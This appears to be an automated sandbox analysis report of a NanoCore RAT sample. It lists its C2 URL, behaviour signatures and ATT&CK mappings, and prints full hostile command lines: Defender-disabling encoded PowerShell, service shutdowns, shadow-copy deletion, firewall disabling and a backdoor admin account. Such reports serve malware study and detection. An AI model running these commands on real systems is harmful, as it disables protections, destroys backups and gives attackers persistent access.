Analysis
- max time kernel
150s - max time network
121s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
13/11/2026, 01:49
General
- Target cakhiatvvan.com_nano.exe
- Size 64KB
- Sample261113-b85phsew4w
- SHA256 9f31046d5c4ed7404ec4d6054893fe92b9ca8ecdda857450d6a01866659cc237
Malware Config
Extracted
-
nanocore
-
1.2.2.0
-
http://cakhiatvvan.com
-
ac7e2f05-8df7-4c55-8841-78385f6bb064
-
c2_url
http://cakhiatvvan.com
-
version
1.2.2.0
Signatures
- Family: NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
- Contains code to disable Windows Defender 3 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
- Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
- Modifies security service 2 TTPs 1 IoCs
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Disables RegEdit via registry modification 1 IoCs
- Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
- Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
- Modifies Windows Firewall 2 TTPs 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Creates a file in the Startup directory 1 TTPs 3 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 3 IoCs
- Creates a new local user account 1 TTPs 2 IoCs
Uses net.exe to create a new local user account, often for persistence or a backdoor account.
- Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
- Drops file in System32 directory 6 IoCs
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Sets desktop wallpaper using registry 2 TTPs 2 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 1 IoCs
- Launches sc.exe 28 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Executes a command shell one-liner 1 TTPs 6 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- System Owner/User Discovery 1 TTPs
Attempt to identify the primary or current user.
- Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
- Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
- Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Modifies Control Panel 1 IoCs
- Modifies registry class 16 IoCs
- Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 60 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\cakhiatvvan.com_nano.exe"C:\Users\Admin\AppData\Local\Temp\cakhiatvvan.com_nano.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Reads the TCP/IP host and domain name from the registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wuauserv start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop bits2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config bits start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop vss2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config vss start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop swprv2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config swprv start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop EventLog2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config EventLog start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SysmonLog2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SysmonLog start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop Sysmon2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config Sysmon start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop sense2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config sense start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\cakhiatvvan.com_nano.exe"C:\Users\Admin\AppData\Local\Temp\cakhiatvvan.com_nano.exe"3⤵
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\cakhiatvvan.com_nano.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\cakhiatvvan.com_nano.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\cakhiatvvan.com_nano.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
-
-
C:\Windows\system32\svchost.exe"C:\Windows\system32\svchost.exe"2⤵
-
-
C:\Windows\SYSTEM32\netsh.exe"netsh" wlan show profiles2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" user backdoor P@ssw0rd123 /add2⤵
- Creates a new local user account
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user backdoor P@ssw0rd123 /add3⤵
- Creates a new local user account
-
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" localgroup administrators backdoor /add2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup administrators backdoor /add3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\cakhiatvvan.com_nano.exeC:\Users\Admin\AppData\Local\Temp\cakhiatvvan.com_nano.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\cakhiatvvan.com_nano.exeC:\Users\Admin\AppData\Local\Temp\cakhiatvvan.com_nano.exe1⤵
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Account Manipulation
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create Account
1Local Account
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Account Manipulation
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Debugger Evasion
1Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
4Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Discovery
Browser Information Discovery
1Debugger Evasion
1Permission Groups Discovery
1Local Groups
1Process Discovery
1Query Registry
2System Information Discovery
4System Network Configuration Discovery
2Wi-Fi Discovery
1System Owner/User Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
scr_20261113_015057.jpg
doc_2.pdf
cakhiatvvan.com_nano.exe.log
__PSScriptPolicyTest_l3a4nskw.gyg.ps1
createshortcut.vbs
del.bat
temp_steal.log
temp_steal.log
temp_steal.log
invoice_2.pdf
stolen_data_here.txt
stolen_data_here.txt
stolen_data_here.txt
READ_ME_NANOCORE.txt
sysupdate.exe
RANSOM_NOTE.txt
memory/980-14-0x000001C0BFEA0000-0x000001C0BFEC2000-memory.dmp
memory/3960-198-0x00000194D0130000-0x00000194D0131000-memory.dmp
memory/5084-0-0x0000000000FC0000-0x0000000000FD6000-memory.dmp
memory/5084-235-0x0000000003170000-0x0000000003180000-memory.dmp
memory/5084-1-0x0000000003170000-0x0000000003180000-memory.dmp